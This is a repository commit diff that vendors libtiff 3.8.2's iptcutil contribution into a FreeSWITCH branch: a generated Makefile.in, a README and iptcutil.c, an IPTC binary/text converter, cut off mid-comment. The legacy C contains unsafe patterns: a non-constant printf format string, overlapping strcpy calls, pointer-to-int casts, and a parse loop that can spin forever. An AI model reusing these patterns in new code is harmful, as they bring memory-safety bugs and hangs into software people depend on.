+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+EXTRA_DIST = README test.iptc test.txt
+iptcutil_SOURCES = iptcutil.c
+iptcutil_LDADD = $(LIBTIFF)
+INCLUDES = -I$(top_srcdir)/libtiff
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/iptcutil/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/iptcutil/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+clean-noinstPROGRAMS:
+	@list='$(noinst_PROGRAMS)'; for p in $$list; do \
+	  f=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  echo " rm -f $$p $$f"; \
+	  rm -f $$p $$f ; \
+	done
+iptcutil$(EXEEXT): $(iptcutil_OBJECTS) $(iptcutil_DEPENDENCIES) 
+	@rm -f iptcutil$(EXEEXT)
+	$(LINK) $(iptcutil_LDFLAGS) $(iptcutil_OBJECTS) $(iptcutil_LDADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/iptcutil.Po@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(PROGRAMS)
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool clean-noinstPROGRAMS \
+	mostlyclean-am
+
+distclean: distclean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-libtool distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
+	clean-libtool clean-noinstPROGRAMS ctags distclean \
+	distclean-compile distclean-generic distclean-libtool \
+	distclean-tags distdir dvi dvi-am html html-am info info-am \
+	install install-am install-data install-data-am install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	maintainer-clean maintainer-clean-generic mostlyclean \
+	mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
+	pdf pdf-am ps ps-am tags uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+
+Program: IPTCUTIL.C
+
+Purpose: Convert between IPTC binary and a "special" IPTC text file format.
+
+Usage:   iptcutil -t | -b [-i file] [-o file] <input >output
+
+Notes:   You tell the program the "type" of input file via the -t and -b
+         switches. The -t says that the input is text, while the -b says
+         that the input is binary IPTC. You can use either the -i or the
+         -o switches to tell the program what the input and output files
+         will be, or use simple piping.
+
+Author:  William T. Radcliffe (billr@corbis.com)
+         Parts of this program were derived from other places. The original
+         binary to text conversion was taken from the PHP distribution and
+         the tokenizer was written many years ago, by someone else as well.
+
+This software is provided freely "as is", without warranty of any kind,
+express or implied, including but not limited to the warranties of
+merchantability, fitness for a particular purpose and noninfringement.
+In no event shall William T. Radcliffe be liable for any claim, damages or
+other liability, whether in an action of contract, tort or otherwise,
+arising from, out of or in connection with IPTCUTIL
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/iptcutil.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/iptcutil.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil/iptcutil.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/iptcutil.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/iptcutil.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,934 @@
+/* $Id: iptcutil.c,v 1.4 2004/09/21 13:34:39 dron Exp $ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <memory.h>
+#include <ctype.h>
+
+#ifdef HAVE_STRINGS_H
+# include <strings.h>
+#endif
+
+#ifdef HAVE_IO_H
+# include <io.h>
+#endif
+
+#ifdef HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#ifdef WIN32
+#define STRNICMP strnicmp
+#else 
+#define STRNICMP strncasecmp
+#endif 
+
+typedef struct _tag_spec
+{
+  short
+    id;
+
+  char
+    *name;
+} tag_spec;
+
+static tag_spec tags[] = {
+    { 5,"Image Name" },
+    { 7,"Edit Status" },
+    { 10,"Priority" },
+    { 15,"Category" },
+    { 20,"Supplemental Category" },
+    { 22,"Fixture Identifier" },
+    { 25,"Keyword" },
+    { 30,"Release Date" },
+    { 35,"Release Time" },
+    { 40,"Special Instructions" },
+    { 45,"Reference Service" },
+    { 47,"Reference Date" },
+    { 50,"Reference Number" },
+    { 55,"Created Date" },
+    { 60,"Created Time" },
+    { 65,"Originating Program" },
+    { 70,"Program Version" },
+    { 75,"Object Cycle" },
+    { 80,"Byline" },
+    { 85,"Byline Title" },
+    { 90,"City" },
+    { 95,"Province State" },
+    { 100,"Country Code" },
+    { 101,"Country" },
+    { 103,"Original Transmission Reference" },
+    { 105,"Headline" },
+    { 110,"Credit" },
+    { 115,"Source" },
+    { 116,"Copyright String" },
+    { 120,"Caption" },
+    { 121,"Local Caption" },
+    { 122,"Caption Writer" },
+    { 200,"Custom Field 1" },
+    { 201,"Custom Field 2" },
+    { 202,"Custom Field 3" },
+    { 203,"Custom Field 4" },
+    { 204,"Custom Field 5" },
+    { 205,"Custom Field 6" },
+    { 206,"Custom Field 7" },
+    { 207,"Custom Field 8" },
+    { 208,"Custom Field 9" },
+    { 209,"Custom Field 10" },
+    { 210,"Custom Field 11" },
+    { 211,"Custom Field 12" },
+    { 212,"Custom Field 13" },
+    { 213,"Custom Field 14" },
+    { 214,"Custom Field 15" },
+    { 215,"Custom Field 16" },
+    { 216,"Custom Field 17" },
+    { 217,"Custom Field 18" },
+    { 218,"Custom Field 19" },
+    { 219,"Custom Field 20" }
+};
+
+/*
+ * We format the output using HTML conventions
+ * to preserve control characters and such.
+ */
+void formatString(FILE *ofile, const char *s, int len)
+{
+  putc('"', ofile);
+  for (; len > 0; --len, ++s) {
+    int c = *s;
+    switch (c) {
+    case '&':
+      fputs("&amp;", ofile);
+      break;
+#ifdef HANDLE_GT_LT
+    case '<':
+      fputs("&lt;", ofile);
+      break;
+    case '>':
+      fputs("&gt;", ofile);
+      break;
+#endif
+    case '"':
+      fputs("&quot;", ofile);
+      break;
+    default:
+      if (iscntrl(c))
+        fprintf(ofile, "&#%d;", c);
+      else
+        putc(*s, ofile);
+      break;
+    }
+  }
+  fputs("\"\n", ofile);
+}
+
+typedef struct _html_code
+{
+  short
+    len;
+  const char
+    *code,
+    val;
+} html_code;
+
+static html_code html_codes[] = {
+#ifdef HANDLE_GT_LT
+    { 4,"&lt;",'<' },
+    { 4,"&gt;",'>' },
+#endif
+    { 5,"&amp;",'&' },
+    { 6,"&quot;",'"' }
+};
+
+/*
+ * This routine converts HTML escape sequence
+ * back to the original ASCII representation.
+ * - returns the number of characters dropped.
+ */
+int convertHTMLcodes(char *s, int len)
+{
+  if (len <=0 || s==(char*)NULL || *s=='\0')
+    return 0;
+
+  if (s[1] == '#')
+    {
+      int val, o;
+
+      if (sscanf(s,"&#%d;",&val) == 1)
+      {
+        o = 3;
+        while (s[o] != ';')
+        {
+          o++;
+          if (o > 5)
+            break;
+        }
+        if (o < 5)
+          strcpy(s+1, s+1+o);
+        *s = val;
+        return o;
+      }
+    }
+  else
+    {
+      int
+        i,
+        codes = sizeof(html_codes) / sizeof(html_code);
+
+      for (i=0; i < codes; i++)
+      {
+        if (html_codes[i].len <= len)
+          if (STRNICMP(s, html_codes[i].code, html_codes[i].len) == 0)
+            {
+              strcpy(s+1, s+html_codes[i].len);
+              *s = html_codes[i].val;
+              return html_codes[i].len-1;
+            }
+      }
+    }
+
+  return 0;
+}
+
+int formatIPTC(FILE *ifile, FILE *ofile)
+{
+  unsigned int
+    foundiptc,
+    tagsfound;
+
+  unsigned char
+    recnum,
+    dataset;
+
+  char
+    *readable,
+    *str;
+
+  long
+    tagindx,
+    taglen;
+
+  int
+    i,
+    tagcount = sizeof(tags) / sizeof(tag_spec);
+
+  char
+    c;
+
+  foundiptc = 0; /* found the IPTC-Header */
+  tagsfound = 0; /* number of tags found */
+
+  c = getc(ifile);
+  while (c != EOF)
+  {
+	  if (c == 0x1c)
+	    foundiptc = 1;
+	  else
+      {
+        if (foundiptc)
+	        return -1;
+        else
+	        continue;
+	    }
+
+    /* we found the 0x1c tag and now grab the dataset and record number tags */
+    dataset = getc(ifile);
+	  if ((char) dataset == EOF)
+	    return -1;
+    recnum = getc(ifile);
+	  if ((char) recnum == EOF)
+	    return -1;
+    /* try to match this record to one of the ones in our named table */
+    for (i=0; i< tagcount; i++)
+    {
+      if (tags[i].id == recnum)
+          break;
+    }
+    if (i < tagcount)
+      readable = tags[i].name;
+    else
+      readable = "";
+
+    /* then we decode the length of the block that follows - long or short fmt */
+    c = getc(ifile);
+	  if (c == EOF)
+	    return 0;
+	  if (c & (unsigned char) 0x80)
+      {
+        unsigned char
+          buffer[4];
+
+        for (i=0; i<4; i++)
+        {
+          c = buffer[i] = getc(ifile);
+          if (c == EOF)
+            return -1;
+        }
+        taglen = (((long) buffer[ 0 ]) << 24) |
+                 (((long) buffer[ 1 ]) << 16) | 
+	               (((long) buffer[ 2 ]) <<  8) |
+                 (((long) buffer[ 3 ]));
+	    }
+    else
+      {
+        unsigned char
+          x = c;
+
+        taglen = ((long) x) << 8;
+        x = getc(ifile);
+        if ((char)x == EOF)
+          return -1;
+        taglen |= (long) x;
+	    }
+    /* make a buffer to hold the tag data and snag it from the input stream */
+    str = (char *) malloc((unsigned int) (taglen+1));
+    if (str == (char *) NULL)
+      {
+        printf("Memory allocation failed");
+        return 0;
+      }
+    for (tagindx=0; tagindx<taglen; tagindx++)
+    {
+      c = str[tagindx] = getc(ifile);
+      if (c == EOF)
+        return -1;
+    }
+    str[ taglen ] = 0;
+
+    /* now finish up by formatting this binary data into ASCII equivalent */
+    if (strlen(readable) > 0)
+	    fprintf(ofile, "%d#%d#%s=",(unsigned int)dataset, (unsigned int) recnum, readable);
+    else
+	    fprintf(ofile, "%d#%d=",(unsigned int)dataset, (unsigned int) recnum);
+    formatString( ofile, str, taglen );
+    free(str);
+
+	  tagsfound++;
+
+    c = getc(ifile);
+  }
+  return tagsfound;
+}
+
+int tokenizer(unsigned inflag,char *token,int tokmax,char *line,
+char *white,char *brkchar,char *quote,char eschar,char *brkused,
+int *next,char *quoted);
+
+char *super_fgets(char *b, int *blen, FILE *file)
+{
+  int
+    c,
+    len;
+
+  char
+    *q;
+
+  len=*blen;
+  for (q=b; ; q++)
+  {
+    c=fgetc(file);
+    if (c == EOF || c == '\n')
+      break;
+    if (((int)q - (int)b + 1 ) >= (int) len)
+      {
+        int
+          tlen;
+
+        tlen=(int)q-(int)b;
+        len<<=1;
+        b=(char *) realloc((char *) b,(len+2));
+        if ((char *) b == (char *) NULL)
+          break;
+        q=b+tlen;
+      }
+    *q=(unsigned char) c;
+  }
+  *blen=0;
+  if ((unsigned char *)b != (unsigned char *) NULL)
+    {
+      int
+        tlen;
+
+      tlen=(int)q - (int)b;
+      if (tlen == 0)
+        return (char *) NULL;
+      b[tlen] = '\0';
+      *blen=++tlen;
+    }
+  return b;
+}
+
+#define BUFFER_SZ 4096
+
+int main(int argc, char *argv[])
+{            
+  unsigned int
+    length;
+
+  unsigned char
+    *buffer;
+
+  int
+    i,
+    mode; /* iptc binary, or iptc text */
+
+  FILE
+    *ifile = stdin,
+    *ofile = stdout;
+
+  char
+    c,
+    *usage = "usage: iptcutil -t | -b [-i file] [-o file] <input >output";
+
+  if( argc < 2 )
+    {
+      printf(usage);
+	    return 1;
+    }
+
+  mode = 0;
+  length = -1;
+  buffer = (unsigned char *)NULL;
+
+  for (i=1; i<argc; i++)
+  {
+    c = argv[i][0];
+    if (c == '-' || c == '/')
+      {
+        c = argv[i][1];
+        switch( c )
+        {
+        case 't':
+	        mode = 1;
+#ifdef WIN32
+          /* Set "stdout" to binary mode: */
+          _setmode( _fileno( ofile ), _O_BINARY );
+#endif
+	        break;
+        case 'b':
+	        mode = 0;
+#ifdef WIN32
+          /* Set "stdin" to binary mode: */
+          _setmode( _fileno( ifile ), _O_BINARY );
+#endif
+	        break;
+        case 'i':
+          if (mode == 0)
+            ifile = fopen(argv[++i], "rb");
+          else
+            ifile = fopen(argv[++i], "rt");
+          if (ifile == (FILE *)NULL)
+            {
+	            printf("Unable to open: %s\n", argv[i]);
+              return 1;
+            }
+	        break;
+        case 'o':
+          if (mode == 0)
+            ofile = fopen(argv[++i], "wt");
+          else
+            ofile = fopen(argv[++i], "wb");
+          if (ofile == (FILE *)NULL)
+            {
+	            printf("Unable to open: %s\n", argv[i]);
+              return 1;
+            }
+	        break;
+        default:
+	        printf("Unknown option: %s\n", argv[i]);
+	        return 1;
+        }
+      }
+    else
+      {
+        printf(usage);
+	      return 1;
+      }
+  }
+
+  if (mode == 0) /* handle binary iptc info */
+    formatIPTC(ifile, ofile);
+
+  if (mode == 1) /* handle text form of iptc info */
+    {
+      char
+        brkused,
+        quoted,
+        *line,
+        *token,
+        *newstr;
+
+      int
+        state,
+        next;
+
+      unsigned char
+        recnum = 0,
+        dataset = 0;
+
+      int
+        inputlen = BUFFER_SZ;
+
+      line = (char *) malloc(inputlen);     
+      token = (char *)NULL;
+      while((line = super_fgets(line,&inputlen,ifile))!=NULL)
+      {
+        state=0;
+        next=0;
+
+        token = (char *) malloc(inputlen);     
+        newstr = (char *) malloc(inputlen);     
+        while(tokenizer(0, token, inputlen, line, "", "=", "\"", 0,
+          &brkused,&next,&quoted)==0)
+        {
+          if (state == 0)
+            {                  
+              int
+                state,
+                next;
+
+              char
+                brkused,
+                quoted;
+
+              state=0;
+              next=0;
+              while(tokenizer(0, newstr, inputlen, token, "", "#", "", 0,
+                &brkused, &next, &quoted)==0)
+              {
+                if (state == 0)
+                  dataset = (unsigned char) atoi(newstr);
+                else
+                   if (state == 1)
+                     recnum = (unsigned char) atoi(newstr);
+                state++;
+              }
+            }
+          else
+            if (state == 1)
+              {
+                int
+                  next;
+
+                unsigned long
+                  len;
+
+                char
+                  brkused,
+                  quoted;
+
+                next=0;
+                len = strlen(token);
+                while(tokenizer(0, newstr, inputlen, token, "", "&", "", 0,
+                  &brkused, &next, &quoted)==0)
+                {
+                  if (brkused && next > 0)
+                    {
+                      char
+                        *s = &token[next-1];
+
+                      len -= convertHTMLcodes(s, strlen(s));
+                    }
+                }
+
+                fputc(0x1c, ofile);
+                fputc(dataset, ofile);
+                fputc(recnum, ofile);
+                if (len < 0x10000)
+                  {
+                    fputc((len >> 8) & 255, ofile);
+                    fputc(len & 255, ofile);
+                  }
+                else
+                  {
+                    fputc(((len >> 24) & 255) | 0x80, ofile);
+                    fputc((len >> 16) & 255, ofile);
+                    fputc((len >> 8) & 255, ofile);
+                    fputc(len & 255, ofile);
+                  }
+                next=0;
+                while (len--)
+                  fputc(token[next++], ofile);
+              }
+          state++;
+        }
+        free(token);
+        token = (char *)NULL;
+        free(newstr);
+        newstr = (char *)NULL;
+      }
+      free(line);
+
+      fclose( ifile );
+      fclose( ofile );
+    }
+
+  return 0;
+}
+
+/*
+	This routine is a generalized, finite state token parser. It allows
+    you extract tokens one at a time from a string of characters.  The
+    characters used for white space, for break characters, and for quotes
+    can be specified. Also, characters in the string can be preceded by
+    a specifiable escape character which removes any special meaning the
+    character may have.
+
+	There are a lot of formal parameters in this subroutine call, but
+	once you get familiar with them, this routine is fairly easy to use.
+	"#define" macros can be used to generate simpler looking calls for
+	commonly used applications of this routine.
+
+	First, some terminology:
+
+	token:		used here, a single unit of information in
+				the form of a group of characters.
+
+	white space:	space that gets ignored (except within quotes
+				or when escaped), like blanks and tabs.  in
+				addition, white space terminates a non-quoted
+				token.
+
+	break character: a character that separates non-quoted tokens.
+				commas are a common break character.  the
